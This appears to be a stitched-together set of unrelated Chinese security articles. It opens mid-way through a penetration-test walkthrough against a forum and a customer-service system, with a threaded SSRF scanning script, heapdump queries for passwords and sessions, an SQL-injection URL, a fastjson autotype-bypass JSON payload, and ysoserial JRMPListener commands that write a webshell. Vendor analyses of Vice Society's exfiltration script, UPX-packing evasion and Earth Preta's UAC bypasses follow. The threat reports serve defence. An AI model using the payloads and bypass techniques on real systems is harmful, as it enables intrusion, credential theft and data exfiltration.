    cookie = {"PNuE_2132_saltkey":"vx3wOD3T","PNuE_2132_auth":"8b46%2F9AD2x2XyfyESVQaytdhS%2FVWrzIGQLWCe3IAr6AIwuX8raGrp%2BgRkMv39ylNO2GAIfHep01AGhxApI0OCyXirNKx"}
    r = requests.get(url,cookies=cookie,headers=header,allow_redirects=False)
    if r.elapsed.total_seconds()> 6:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        print(timeout)
    else:
        timeout = str(i)+'port:'+str(r.elapsed.total_seconds())
        fo = open('openip.txt','a')
        fo.write(str(i)+'open\n')
        fo.close()
        print(str(i)+'open')
        print(timeout)
 
def thread(list):
    name = []
    for i in list:
        th = threading.Thread(target=ssrf,args=(i,))
        name.append(th)
        th.start()
    for th inname:
        th.join()
 
folist = open('ip.txt','r')
list = []
flag = 0
for i infolist.readlines():
    i = i.replace('\n','')
    if flag <21:
        list.append(i)
        flag = flag+1
    else:
        thread(list)
        flag = 0
        list = []

只发现一个开放的网关172.30.2.1,再跑此网关上的内网ip,更换ip.txt即可。

Image

结果跑了一天只跑出两个内网ip,172.30.2.1和172.30.2.2,大概率172.30.2.2是它自己,172.30.2.1是云服务器的虚拟网关。

最后再用ftp协议跑它们的端口,脚本自己改改就行了。

Image

大部分都是误报,其实只开了80和443两个端口,所以除非之后发现其他内网ip,否则SSRF是不用指望了。

最后一个uc_server爆破,原理为改XFF头导致图形验证码固定,同样利用失败,详情见https://www.freebuf.com/articles/web/197546.html

论坛告一段落,接下来看看客服系统有啥问题。

Image

/res/image.html?id=upload/6c825ed7ea4cd25657288ab4f7d0227f

id传参,无法目录穿越。文件上传无法利用,开始目录扫描。

Image

admin登录界面有滑块验证,不过是前端骗人的,后端没用到,尝试爆破无果。

看到/actuator,就知道是spring boot了,使用针对性字典爆破。

/swagger-ui.html为空,/env跳转admin,/heapdump 403。

但鬼使神差的我试了试/heapdump.json

Image

解压出来1G内存文件,使用MemoryAnalyzer将其打开,OQL查询。

由于没有/env配合,只能盲查配置信息,这里写一些我摸索出来的小技巧。

select* from org.springframework.web.context.support.StandardServletEnvironment

查配置,注意以Retained Heap(大小)排序,比较方便。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*password.*"

查含password的字符串,这种查法不易找出关联类,但可以快速找出登录记录之类的。password替换成http://之类的可以找出一些url。

Image

select* from java.util.Hashtable$Entry x WHERE(toString(x.key).contains("username"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
select* from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("url"))

快速查数据库相关信息,发现mysql地址账户密码,不过很遗憾是亚马逊的数据库,默认存在ip白名单,无法远程登录。

Image

select* from java.lang.String s WHERE toString(s) LIKE ".*SESSION.*"

发现正在登录的session,替换之后登录到后台。

Image

后台使用wss协议进行实时对话,头像处,客服回复处均无利用点。只发现了一些毒狗的哀嚎。

Image


黑盒测试无果,heapdump中翻找有特征的类名,然后去github搜,发现了一份可能是初始版源码,目标用的是改版,源码不太全。

Image

对不全的代码进行审计,找到一处任意文件读取和一处SSRF。

Image

Image

Image

有了部分源码,知道配置文件位置,读取配置文件

Image

获取数据库配置,当然之前在heapdump内存中已经知道了。获取内网ip,172.x.x.x,写脚本开始跑内网ip,脚本参考Discuz那个。

Image

同理,后续用ftp协议扫描内网端口。不过很可惜,java ssrf一般不支持dict和gopher,论坛和客服又不在同一内网,所以很难攻击内网比如redis。

前面一直没提的是,此客服系统存在管理员后台,不过存在ip白名单限制,访问403,虽然能利用SSRF绕过,但是由于只能发起GET请求,无法尝试登陆。

Image

这两处漏洞依旧无法getshell,我决定去fofa上搜同版本客服系统,然后利用任意文件下载来获取完整的源码。

很幸运,直接碰到一个网站可以读.bash_history,在操作记录中暴露了源码路径,获得war包。


Image

开始审计,SQL方面使用的是jpa1.11.6,基本不存在注入问题,但仔细研究发现同时少部分地方用了mybatis。于是查看四个mybatis的xml,找到两处使用$的地方。

ScacMapper.xml

Image

经典的mybatis order by注入。位于ScacRepository类的findRule方法,全局搜索调用了此方法的地方。

Image

发现不可控,再看第二处。

ChatMapper.xml

Image

位于AgentService类的findChatService方法,全局搜索。

Image

satislevel参数可控,网站中寻找路由,发现是用来查询历史会话的。

Image

/service/history/index.html?ps=20&type=0&begin=2021-02-25+00%3A00&end=2021-02-25+23%3A59&username=&ipdata=&snsid=&tagid=&referrer=&uuid=&ai=&skill=000000007705622b017714226691166b&agent=00000000771d75d801771df3ff280135&aiwork=&aiid=&message=&channel=&startTime=&endTime=&firstreplyStartTime=&firstreplyEndTime=&agenttimeouttimes=&assess=&sessiontype=&evaluate=&satislevel=&label=&assessmessage=

Image

SQL注入成功,不过是个布尔盲注,注入较耗时间。


然后发现fastjson版本较低,于是瞄上了fastjson反序列化。

Image

全局搜索parseObject方法,路由中发现两处。IMControllerApiContactsController

IMController虽然在前台,但涉及到AES解密和定位key,利用起来较为复杂。

Image

所以决定利用ApiContactsController的save方法。

Image

由于通过heapdump登录过客服后台,直接访问save的路由,却尴尬的发现报401

Image

很显然,客服后台和这个接口不在同一体系,但密码应该是通用的,猜测这些接口是给手机app用的,heapdump中曾获取了用户名,于是在ApiLoginController中找到登录接口,开始爆破。当然,也可以利用之前审计出来的SQL注入,不过实在太慢而且不一定解的出来我就先爆破了。

Image

Image

成功获取凭证,访问路由。

Image

这里是个联系人接口,查用GET,增用PUT,改用POST,删用DELETE,只有改才会调用fastjson。所以直接POST fastjson payload就行。

fastjson 1.24以上版本默认关闭autotype,但1.2.47版本以下可以用如下payload绕过此限制。详情见我的文章《java反序列化实战》。

https://mp.weixin.qq.com/s/Cj59LNM4pWHyn3sxUU6Nkg

{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit": true}}

Image

成功获取dnslog请求,接下来就是用fastjson反序列化getshell就行了吗?

事情并没有那么简单,之前通过heapdump在内存中看到java版本为1.8.0_242,那么rmi和ldap两个JNDI注入都无法使用,这和实际用marshalsec测试结果一致。本地加载有两种方法,org.apache.tomcat.dbcp.dbcp.BasicDataSource需满足fastjson在1.2.25版本以下因此排除,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以以java.lang.Class绕过,但我在本地成功利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在实际环境中却没能成功。

我在此处被拦了几个小时,最后发现存在rmi反序列化,链为URL链。注意:rmi注入恶意类和rmi反序列化是不一样的。


rmi注入恶意类(marshalsec),是连接rmi服务器,rmi服务器让受害者去加载远程http服务上的恶意类。受到java版本限制。
rmi反序列化(ysoserial),是连接rmi服务器,在和rmi服务器通信的过程中被反序列化攻击了。无版本限制,只需要反序列化链。


如下图,恶意服务器上起一个ysoserial的rmi服务,然后用fastjson去连接之。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 URLDNS "http://2evix2.dnslog.cn"

Image

成功获取dns请求,那么我只需要找到一条能够利用的反序列链,就能够getshell。
spring项目一般来说,很难有一条序列化链,因为用的commons-collections版本都较高。不过最近ysoserial刚好更新了一个文件上传的aspectjweaver链,而源码中的jar包满足条件。

Image

详情见https://mp.weixin.qq.com/s/2stdx1cm7BfKeSR50axC-w


先尝试向/tmp中写文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 AspectJWeaver "../../../tmp/ahi.txt;YWhpaGloaQ=="
然后利用任意文件读取确认文件是否被写入。

Image

尝试写webshell,成功getshell

Image

由于其存在负载均衡,可以拿到两台服务器权限,至此渗透完毕。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MTU1MjE5Mg==&mid=2247488972&idx=1&sn=b97d4e2da7059409cb05fe4238f9dbb7

Ransomware-r3d1.png

Vice Society 是一種勒索軟件,採用強大的加密算法來鎖定存儲在受感染系統上的數據Vice Society 是一個相對較新的惡意軟件,於2021 年年中首次出現。

在最近一次事件響應(IR)活動中,unit42團隊發現,Vice Society勒索軟件組織使用自定義的Microsoft PowerShell(PS)腳本從受害者網絡中竊取數據。我們將對所使用的腳本進行分解,解釋每個函數是如何工作的,以便了解這種數據竊取方法。

該組織使用多種方法從受害者的網絡中竊取數據。一些使用者會使用外部工具,包括FileZilla、WinSCP和rclone等工具。還有使用者使用LOLBAS(Living off the Land Binaries And Scripts)技術,如PS腳本,通過遠程桌面協議(RDP)複製/粘貼和微軟的Win32 API(例如Wininet.dll調用)。讓我們來看看當使用PS腳本自動執行勒索軟件攻擊的數據洩露階段時會發生什麼。

使用LOLBAS等內置數據洩露方法的攻擊者不需要引入可能被安全軟件或基於人工的安全檢測機制標記的外部工具。這些方法還可以隱藏在一般操作環境中,很容易躲過安全檢測。

例如,PS腳本經常在典型的Windows環境中使用。當攻擊者想要悄無聲息地發起攻擊時,PS代碼通常是首選。

2023年初,unit42團隊發現Vice Society勒索軟件組織使用了一個名為為w1.ps1的腳本從受害網絡中竊取數據。在本例中,腳本是從Windows事件日誌(WEL)中恢復的。具體而言,該腳本是從Microsoft Windows PowerShell/Operational WEL提供程序中發現的事件ID 4104:腳本塊日誌記錄事件中恢復的。

雖然必須在Windows中啟用腳本塊日誌記錄才能記錄所有腳本塊,但Microsoft默認情況下使用一些未記錄的後端魔法來記錄其認為是惡意的事件。因此,即使在腳本塊日誌記錄尚未完全啟用的環境中,事件ID 4104事件也可能對你的分析有用。

unit42研究人員看到了使用以下PS命令執行的腳本:

1.png

此腳本調用使用統一資源名稱(URN)路徑中的本地域控制器(DC)IP地址(如上面的[redected_IP]所示),指定DC上的s$admin共享。請注意,由於腳本是通過客戶端的DC部署的,因此目標計算機可能是攻擊者尚未獲得直接訪問權限的計算機。因此,網絡中的任何端點都可能成為腳本的目標。為PS可執行文件提供-ExecutionPolicy Bypass參數以繞過任何執行策略限制。

該腳本不需要任何參數,因為從網絡複製哪些文件是腳本本身負責的。是的,你沒有看錯:腳本是自動化的,因此可以選擇應該竊取的數據。

腳本分析腳本首先聲明兩個用於受害者識別的常量$id和$token。在我們識別的腳本中,這些值分別被硬編碼為“TEST”和“TEST_1”:

2.png

從邏輯上講,這些變量可以設置為更具體的值,以識別實際的受害者。我們不確定這是否真的是一個測試階段,或者這些值是否會簡單地保持在這個測試狀態。

接下來,腳本聲明代碼庫中的重要函數。表1提供了腳本函數的概述。這是按照函數被調用的順序列出的,而不是它們被聲明的順序。

3.png

腳本函數概述

下圖概述了函數之間的流程,有助於突出顯示腳本的函數。

4.png

w1.ps1腳本的函數圖

起始進程在調用任何聲明的函數之前,腳本會通過Windows Management Instrumentation(WMI)識別系統上安裝的任何驅動器。通過一些簡單的篩選來獲取wmiobject win32_volume的調用提供了一個名為$drives的數組,該數組將包含安裝在計算機上的驅動器列表。然後將找到的每個驅動器路徑分別傳遞給Work()函數。下圖顯示了相關的代碼片段。

5.png

腳本的前導碼,用於識別並處理每個掛載卷

在前導碼中採取了以下操作:

1.它創建一個名為$drives的數組,並用主機上掛載的捲列表填充該數組。 win32_volume中的DriveType枚舉引用本地磁盤。有關詳細信息,請參閱Microsoft的Win32_Volume Class文檔。

2.它作為$drive遍歷主機上標識的驅動器,將每個標識的驅動器路徑傳遞給Work()函數。

下圖顯示了這段代碼在隻掛載了一個驅動器的普通Windows主機上可能執行的操作示例。

6.png

帶有單個掛載驅動器的主機上的$drives和$drive變量的示例值

對於標識的每個驅動器名稱,前導碼都會調用Work()函數來處理驅動器上的目錄。

Work()函數每次調用Work()時,函數都會作為$disk接收一個驅動器路徑,用於目錄搜索和處理。下圖顯示了Work()函數的開頭。

7.png

Work()函數的開頭

在上述代碼中採取以下操作:

1.它創建$folders和$jobs數組;

2.它創建$store元組,用於存儲上面創建的數組;

3.它聲明了Show()函數。

下圖顯示了Work()函數的其餘代碼,它位於Show()函數下方。

8.png

Work()函數的剩餘部分

在上述代碼中採取了以下操作:

4.它將當前卷字符串傳遞給Get-ChildItem,並篩選出一系列31個潛在的目錄路徑,以避免處理基於系統或應用程序的文件。然後,它將每個根目錄名稱傳遞給Show()函數以進行進一步處理。

有關被忽略的根目錄的列表,請參見附錄。

5.將根目錄文件夾傳遞給Show()函數後,Work()函數遞歸地搜索根目錄中的子目錄。與前面的篩選類似,與排除列表不匹配的子目錄會被發送到Show()函數進行處理。

有關被忽略的根子目錄的列表,請參見附錄。

6.Show()函數創建PowerShell作業以方便竊取數據。該函數一次處理5個目錄組。這部分代碼可以起到保護作用,以確保處理所有剩餘的文件夾分組。

例如,如果總共識別了212個目錄,這段代碼將確保處理最後兩個目錄。

Show() 函數Show()函數的作用是接收要處理的目錄名。 Show()函數的概述如下所示

9.png

Show()函數的概述

在上述代碼中採取了以下操作:

1.該函數收集提供的目錄名,直到它可以創建一個由5個目錄名組成的分組。一旦向函數提供了5個目錄名,它將它們傳遞給CreateJobLocal()函數以創建PowerShell作業,以便從目錄組中導出數據。

2.該腳本實現了速率限制,因為它一次只希望處理5個目錄組的最多10個作業。如果正在運行的作業超過10個,腳本將休眠5秒鐘,並重新檢查正在運行的作業的數量。

注意:這顯示了在整體腳本設計方面的專業編碼水平。腳本的編寫是為了避免主機的資源被淹沒。造成這種情況的確切原因在於開發者,但該方法與一般的編碼最佳實踐相一致。

CreateJobLocal()函數CreateJobLocal()函數為竊取數據設置了一個多處理隊列。下圖顯示了CreateJobLocal()函數的開頭部分。

10.png

CreateJobLocal()函數的概述

在上述代碼中採取了以下操作:

1.它為正在創建的作業創建一個偽隨機名稱。作業名稱將由5個字母字符組成(包括小寫和大寫字符)。

例如,以下是腳本在隨機調試會話中生成的五個作業名稱:iZUIb、dlHxF、VCHYu、FyrCb和GVILA。

2.它設置一個PowerShell作業,該作業具有一個代碼結構,該代碼結構將是腳本中此時創建的腳本塊。

此時,在CreateJobLocal()中聲明了fill()函數。我們將很快回到這個問題。首先,我們將繼續處理CreateJobLocal()函數的剩餘部分。下圖顯示了這段代碼的下一部分。

11.png

屬於CreateJobLocal()函數的附加代碼

下面是上述CreateJobLocal()代碼庫的描述:

3.它為要竊取的文件創建一個$fileList數組,然後循環遍歷當前組中的目錄(如上所述,它通常以五個為一組處理目錄)。

4.它設置名為$include和$ excluded的包含和排除數組。

5.有關這些數組的值列表,請參見附錄。

它循環遍歷給定目錄組中的目錄,並使用正則表達式根據$include數組中硬編碼的值篩選要包含的文件夾。

此時,函數使用excludes來進一步篩選應該被盜取的文件。

12.png

CreateJobLocal()函數的剩餘部分

以下是剩餘CreateJobLocal()代碼庫的描述:

1.如果某個目錄與包含列表匹配,則它會查找該目錄中沒有在排除列表中找到的擴展名、大於10 KB且具有擴展名的所有文件。

注意:測試證實,該腳本會忽略大小小於10 KB的文件和沒有文件擴展名的文件。

2.即使一個目錄沒有通過正則表達式匹配包含列表,也會檢查目錄的文件,以確定是否應將其包含在竊取內容中。

這看起來是文件匹配包含列表的第二次嘗試,因為比較是使用Get-ChildItem cmdlet的-Include參數完成的,而不是在上面第5步中執行正則表達式比較的-Like比較。

它循環遍歷標識為竊取的文件,並調用fill()函數來竊取每個文件。

下圖顯示了在我們的惡意軟件分析虛擬機(VM)中運行時選擇的第一組五個文件夾的腳本。這些值將因運行腳本的計算機而異。我們只是想展示腳本始在測試環境中搜索數據的位置。

13.png

該腳本的示例運行顯示了標識為竊取的前5個目錄

Fill()函數fill()函數執行實際的數據竊取。此函數用於構建將用於竊取文件的URL,並使用System.Net.Webclient對象通過HTTP POST事件使用對象的.UploadFile方法執行實際的竊取。下圖顯示了fill()函數。

14.png

fill()函數的概述

在上述代碼中採取了以下操作:

1.雖然從技術上講不是實際的fill()函數的一部分,但在每個文件上傳URL中都使用了整個腳本前兩行的變量$id和$token。

2.它構建了一個$prefix值,其中包括腳本中兩個最重要的攻擊指標(IoC)。

2.1 IP地址

這是攻擊者的基礎設施/服務器IP地址,文件將被上傳到該IP地址。

2.2網絡端口號

這個端口號可以是80443,也可以是一個自定義端口號,例如通常與臨時端口範圍相關聯的端口號。

3.它實例化一個WebClient對象,該對象將用於執行基於HTTP的數據竊取。

4.它構建了一個$fullPath變量,這是正在上傳文件的完整文件路徑。

注意:這一點很重要,因為這意味著每個HTTPPOST事件都將包括文件的完整路徑。如果你能夠通過此路徑獲得源主機的IP地址,那麼你將能夠在事後構建一個被竊取文件的列表。

5.它通過組合$prefix、$token、$id和$fullPath變量來構建文件上傳的完整URL $uri。

6.它調用WebClient.UploadFile()方法來上傳文件。

注意:這將創建一個HTTP POST事件。

HTTP活動示例為了查看腳本的POST請求在攻擊者的web服務器上是什麼樣子,研究人員在本地虛擬機上設置了一個服務器,引導他們的惡意軟件分析機器使用該虛擬機作為其網關並運行腳本。下面是腳本在測試環境中執行時創建的三個POST請求示例。

15.png

請注意,上面的192.168.42[.]100地址是研究人員使用的測試客戶端虛擬機的IP。在現實場景中,Vice Society的網絡服務器會在這個位置指示受害者的出口IP地址。

基於以上結果,我們可以獲得關於腳本啟動的HTTP活動的一些重要信息:

1.fullpath POST參數不包括發送文件的驅動器號。

2.該腳本沒有向web服務器提供用戶代理字符串。

如果你的環境中運行了網絡安全監控(NSM)或入侵檢測系統(IDS)(如Zeek),或者數據包捕獲系統,那麼就可能能夠看到傳出的POST請求。這些傳出的日誌可能以字節為單位顯示請求的長度(重點關注傳出的字節數與總字節數),這有助於確定哪些版本的文件被竊取掉了。

總結Vice Society的PowerShell數據竊取腳本是一個簡單的數據竊取工具。使用多處理和排隊來確保腳本不會消耗太多系統資源。然而,該腳本將重點放在文件擴展名超過10 KB的文件以及符合其包含列表的目錄中,這意味著該腳本不會竊取不符合此描述的數據。

不幸的是,Windows環境中PS腳本的性質使得我們難以預防這種類型的威脅。不過研究人員在檢測中總結了一些提前發現它們的線索和技巧。

可執行文件的終極打包程序(UPX)是一種開源打包程序,可以大幅縮減可執行文件的文件大小(縮減效果比Zip文件更好),並且它與眾多可執行格式兼容,比如Windows DDL、macOS應用程序或Linux ELF。

供應商有時使用打包手段來防止基本的逆向工程或非法重新分發。大致說來,打包程序拿來原始的可執行文件後,為新創建的可執行文件添加一小段名為“stub”(存根)的代碼。然後,存根代碼將用於解包文件,並將可執行文件“恢復”到原始狀態。

雖然像UPX這樣的一些打包程序只壓縮文件,但其他打包程序還可以加密文件。

攻擊者可以使用壓縮將惡意軟件隱藏在看似無害的合法文件中,這可以騙過基於特徵的檢測系統,甚至騙過基於高級人工智能(AI)的反病毒解決方案。下面介紹了黑客如何使用UPX確保惡意軟件無法被檢測到的方法。

基於UPX的規避的工作機理UPX可以打包惡意可執行文件並修改其字節,以生成無法被檢測到的惡意軟件版本。

通過自解壓的歸檔可執行文件,當打包文件被執行時,打包程序可以在內存中解包自己。

打包的文件通常在磁盤上比較小,但在內存中比較大。如果你檢查一個可疑的文件,可能會看到如下典型的部分:

UPX0:一個空的部分,不包含實際的原始數據,但有龐大的虛擬內存大小

UPX1:存根代碼和壓縮後的可執行文件

還有其他部分,但在這裡暫停不詳述。

當UPX打包的文件被執行時,所有打包的部分都在內存中解包,包括黑客可能存儲在其中的任何惡意代碼,程序跳轉到原始入口點(OEP)來執行可執行文件。

壓縮是一種典型的逃避技術雖然基於UPX的逃避乍一看可能有點難以理解,但壓縮卻是避免反病毒檢測的一種典型方法。

讀者可以執行的一個簡單測試就是將惡意軟件樣本的原始版本和打包版本上傳到自己青睞的平台,比如VirusTotal。與惡意軟件的原始版本相比,打包版本通常被發現的次數要少得多,許多反病毒工具可能完全漏過了打包版本。

UPX用在惡意軟件部署中有多頻繁方面缺少太多的統計數據,但MITRE列舉了攻擊者可以用來隱藏代碼的種種“基於打包”的程序(https://attack.mitre.org/techniques/T1027/002/)。許多活動似乎都涉及UPX。

檢測UPX打包的文件你可以嘗試一個簡單的UPX命令來發現UPX打包的文件:

upx -l {suspicious_binary}

當然,這個命令很有限,不會一直有效。另一個有限但仍然有效的選項是轉儲十六進制代碼,並蒐索特定的字符串,比如UPX:

hexdump -C {suspicious_binary} | grep 'UPX'

你還可以利用可移植可執行文件(PE)分析器來檢測UPX打包的文件。

挫敗UPX損毀手法和損壞的文件外面觀察到的許多漏洞並不依賴UPX本身來解包惡意代碼,而是故意生成損壞的打包文件。

我們前面分析的基本示例含有非常容易識別的部分,但是攻擊者可以使用十六進制編輯器或其他工具來更改字節或插入字符串,從而使文件極難被檢測出來。

雖然這樣的操作可能會使用upx -d命令破壞典型的解包並拋出錯誤,但二進製文件仍然會執行。

Akamai推薦的upxdump.py等工具可能能夠修復故意損壞的UPX打包的文件,因為它可以修復經常用於混淆UPX打包的惡意軟件已損壞的報頭部分。

但是要小心,因為一些變體只是剝離UPX報頭或註入空字節,這將使工具失效。

打包程序分析和反UPX解包技術反向工程人員和惡意軟件分析師可能會使用ollydbg、radar2甚至流行的Ghydra等工具來分析打包的文件。關鍵步驟是先確定二進製文件是否使用反UPX解包技術。

雖然Mirai等許多類型的惡意軟件使用反UPX解包技術(比如零填充文件)以阻礙安全研究人員的工作,但這並不意味著你不能解包它們。像upx-mod這樣的工具可以助一臂之力。

話雖如此,最老練的威脅分子可能使他們的文件對標準的UPX實現方法而言“無法解包”,不過這種情況似乎相當罕見。

應對UPX打包惡意軟件的最佳實踐使用惡意的UPX打包文件表明,你不能單單依賴防病毒軟件和其他基於特徵的解決方案來發現惡意軟件,無論這些工具推銷自己有多麼先進。

但如果沒有這些工具,你將更容易受到攻擊,不過攻擊者總是會想方設法轉移合法實用程序的視線、繞過檢測。

UPX是一種通用格式,可用於針對各種平台,反UPX解包技術可用於乾擾逆向工程和惡意軟件分析。

一個好的做法是,當用戶不需要UPX時,在一些目錄中禁用執行(比如tmp和下載),特別是在企業環境中,這可以通過安全策略來實現。

確保系統沒有隱藏文件擴展名,但即使情況並非如此,也不能保證沒有人會不明智地點擊,特別是面對針對性的攻擊活動。你需要把可疑的活動和行為記錄下來。

經過幾個月的調查,趨勢科技的研究人員發現Earth Preta正在使用一些從未被公開的惡意軟件和用於洩露目的的有趣工具。研究人員還觀察到攻擊者正在積極地改變研究人員的工具、戰術和程序(TTP)以繞過安全解決方案。在這篇文章中,研究人員還將介紹和分析攻擊者使用的其他工具和惡意軟件。

在之前的研究中,研究人員披露並分析了Earth Preta(又名Mustang Panda)組織發起的一項新型攻擊活動。在最近的一次活動中,研究人員通過監測發現Earth Preta通過魚叉式網絡釣魚郵件和谷歌驅動器鏈接發送誘餌文件。經過幾個月的調查,研究人員發現攻擊者在這次活動中使用了一些從未公開的惡意軟件和用於洩露目的的有趣工具。

感染鏈經調查,整個攻擊始於魚叉式網絡釣魚電子郵件。經過對攻擊程序的長期調查,研究人員確定了完整的感染鏈如下所示。

1.png

完整的感染鏈

研究人員將不同的TTP分為六個階段:攻擊載體、發現、權限升級、橫向移動、命令與控制(CC)和洩露。在之前的研究中,研究人員在第一階段(攻擊載體)涵蓋了大多數新的TTP和惡意軟件。但是,研究人員觀察到一些TTP已經發生了變化。在接下來的部分中,我們將重點關注更新後的攻擊載體及其後續階段。

攻擊載體之前Earth Preta使用的攻擊載體,研究人員將它們分為三種類型(DLL側加載、快捷鏈接和偽文件擴展名)。從2022年10月和11月開始,研究人員觀察到攻擊者開始改變研究人員的TTP,以部署TONEINS、TONESHELL和PUBLOAD惡意軟件和QMAGENT惡意軟件。研究人員認為,攻擊者正在使用這些新技術逃避。

Trojan.Win32.TONEINS根據研究人員之前的觀察,TONEINS和TONESHELL惡意軟件是從嵌入電子郵件正文的谷歌驅動器鏈接下載的。為了繞過電子郵件掃描服務和電子郵件網關解決方案,谷歌驅動器鏈接現在已經嵌入到誘餌文件中。該文件誘使用戶下載帶有嵌入式鏈接的受密碼保護的惡意文件。然後可以通過文件中提供的密碼在內部提取文件。通過使用此技術,攻擊背後的惡意攻擊者可以成功繞過掃描服務。

2.png

一份誘餌文件,其中嵌入了谷歌驅動器鏈接和密碼

在新的攻擊載體中,整個感染流程已更改為下圖所示的程序。

3.png

攻擊載體的感染流

4.png

新攻擊載體中的文件

在分析下載的文件後,研究人員發現這是一個惡意RAR文件,包含TONEINS惡意軟件libcef.dll和border.docx中的TONESHELL malware ~List of terrorist personnel 。它們的感染流程類似於之前報告中的攻擊載體類型C,唯一的區別是偽造的.docx文件具有XOR加密內容,以防止被檢測到。例如,~$Evidence information.docx是一個偽裝成Office Open XML文件的文件。因此,它似乎是無害的,甚至可以通過使用7-Zip等解壓軟件打開。

攻擊者在一個文件的ZIPFILERECORD結構中隱藏了一個PE文件。 TONEINS惡意軟件libcef.dll將在XOR操作中用一個字節解密該文件,找到PE頭,並將有效負載放置到指定的路徑。

5.png

在對最後一個ZIPFILECECORD結構中的frData成員進行解密後,將顯示PE文件

6.png

TONEINS的解密函數

感染流的後續行為通常與之前的分析相同,更多的細節我們之前已經介紹過。

Trojan.Win32.PUBLOAD在最近的案例中,惡意軟件PUBLOAD也是通過嵌入在誘餌文件中的谷歌驅動器鏈接傳播的。

7.png

美國大使館的誘餌邀請函

自2022年10月以來,研究人員一直在觀察PUBLOAD的一種新變體,該變體使用偽造的HTTP標頭來傳輸數據,LAC的報告也討論了這一點。與之前的PUBLOAD變體不同,它在數據包中預先準備了一個具有合法主機名的HTTP標頭。研究人員認為,攻擊者試圖在正常流量中隱藏惡意數據。 HTTP正文中的數據與過去的變體相同,後者俱有相同的魔法字節17 03 03和加密的受害者信息。研究人員能夠成功地從實時CC服務器中檢索到有效負載,這使得我們能夠繼續分析。

8.png

PUBLOAD HTTP變體的CC流量

一旦接收到有效負載,它將檢查前三個魔術字節是否為17 03 03,以及接下來的兩個字節是否為有效載荷的大小。然後,它將使用預定義的RC4密鑰78 5A 12 4D 75 14 14 11 6C 02 71 15 5A 73 05 08 70 14 65 3B 64 42 22 23 2000 00 00 00 00 00 00 00 00解密加密的有效負載,該密鑰與PUBLOAD加載程序中使用的密鑰相同。

9.png

從PUBLOAD HTTP變體檢索到的第一個有效負載

解密之後,它檢查解密有效負載的第一個字節是否為0x06。解密的有效負載包含用字節23 BE 84 E1 6C D6 AE 52 90進行XOR加密的另一個有效負載。

10.png

從PUBLOAD HTTP變體檢索到的第二個有效負載

解密後,還有另一個支持數據上傳和命令執行的最終後門負載。

11.png

PUBLOAD HTTP變體的最終有效負載

12.png

PUBLOAD HTTP變體中的命令代碼

此外,研究人員還在PUBLOAD示例中發現了一些有趣的調試字符串和事件名稱。

13.png

PUBLOAD中的事件名稱

14.png

PUBLOAD中的調試字符串

總之,研究人員認為新的TONESHELL和PUBLOAD文件一直在迭代,且有了一些共同之處。例如,為了繞過防病毒掃描,它們現在都被放置在誘餌文件中(如穀歌硬盤鏈接)。

攻擊過程一旦攻擊者獲得了對受害者環境的訪問權限,研究人員就可以通過以下命令開始檢查環境:

15.png

權限提昇在這次活動中,研究人員發現了Windows 10中用於UAC繞過的幾個工具。接下來我們將一一介紹。

HackTool.Win 32.ABPASSHackTool.Win32.ABPASS是一個用於繞過Windows 10中的UAC的工具。根據我們的分析,它重用了ucmShellRegModMethod3函數中的代碼,該函數來自一個著名的開源項目UACME。 Sophos的一份報告介紹了這一工具。

該工具接受一個參數,並將以下數據寫入註冊表:

16.png

ABPASS更改了註冊表項

它還改變了Windows處理ms-settings協議的方式,在本例中,字符串ms-settings是一個編程標識符(ProgID)。如果CurVer項設置在ProgID下,它將用於版本控制並將當前ProgID (ms-settings)映射到CurVer默認值中指定的ProgID。反過來,ms-settings的行為被重定向到自定義的ProgID aaabbb32。它還設置了一個新的ProgID aaabbb32及其shell打開命令。最後,執行fodhelper.exe或computerDefaults.exe來觸發ms-settings協議。

17.png

新增的ProgID aaabbb32

HackTool.Win 32.CCPASSHackTool.Win 32.CCPASS是另一個用於Windows 10 UAC繞過的工具,並類似地重用項目UACME中函數ucmMsStoreProtocolMethod中的代碼。

18.png

CCPASS和ucmMsStoreProtocolMethod中的代碼相似性

它的工作方式與ABPASS類似。然而,與ABPASS不同的是,它劫持了ms-windows存儲協議。黑客工具CCPASS的工作原理如下:

1.它禁用了協議ms-windows存儲的應用程序關聯toast。

2.它在註冊表中創建一個新的Shell;

3.它調用未記錄的API UserAssocSet來更新文件關聯;

4.它執行WSReset.exe來觸發此協議。

在Windows 10及以上版本中,系統會顯示一個新的toast對話框,用於為選定的文件類型選擇打開的應用程序。要隱藏此窗口,該工具會明顯地將新條目添加到HKCU\Software\Microsoft\Windows\CurrentVersion\ApplicationAssociationToast,以禁用與協議ms-Windows存儲相關的所有Toast。

19.png

應用程序關聯toast的示例

20.png

通過註冊表隱藏應用程序關聯toast

完成此操作後,該工具開始更改ms-windows-store的shell命令,並最終使用WSReset.exe觸發它。

SilentCleanup在Windows 10中,有一個名為“SilentCleanup”的本地Windows服務。該服務具有最高權限,可以用於Windows 10 UAC繞過。通常,此服務用於運行%windir%\system32\cleanmgr.exe。但是,可以劫持環境變量%windir%並將其更改為任何路徑以實現權限升級。

21.png

濫用SilentCleanup服務的惡意命令

研究人員觀察到攻擊者使用這種技術來執行c:\users\public\1.exe。

橫向運動在這個階段,研究人員觀察到某些惡意軟件,如HIUPAN和ACNSHELL(最初由Mandiant和Sophos引入並分析),被用來自我安裝到可移動磁盤並創建反向shell。

USB蠕蟲: Worm.Win 32.HIUPAN and+ Backdoor.Win 32.ACNSHELL研究人員發現了一組由USB蠕蟲和反向shell組成的惡意軟件,包括USB蠕蟲和反向shell(被檢測為Worm.Win32.HIUPAN和Backdoor.Win32.ACNSHELL),用於在可移動驅動器上進行擴展。

感染鏈如下圖所示。

22.png

HIUPAN和ACNSHELL感染流

USB Driver.exe程序首先側加載u2ec.dll,然後加載有效負載文件USB .ini。它們分別具有以下PDB字符串:

G:\project\APT\U盤劫持\new\u2ec\Release\u2ec.pdb

G:\project\APT\U盤劫持\new\shellcode\Release\shellcode.pdb

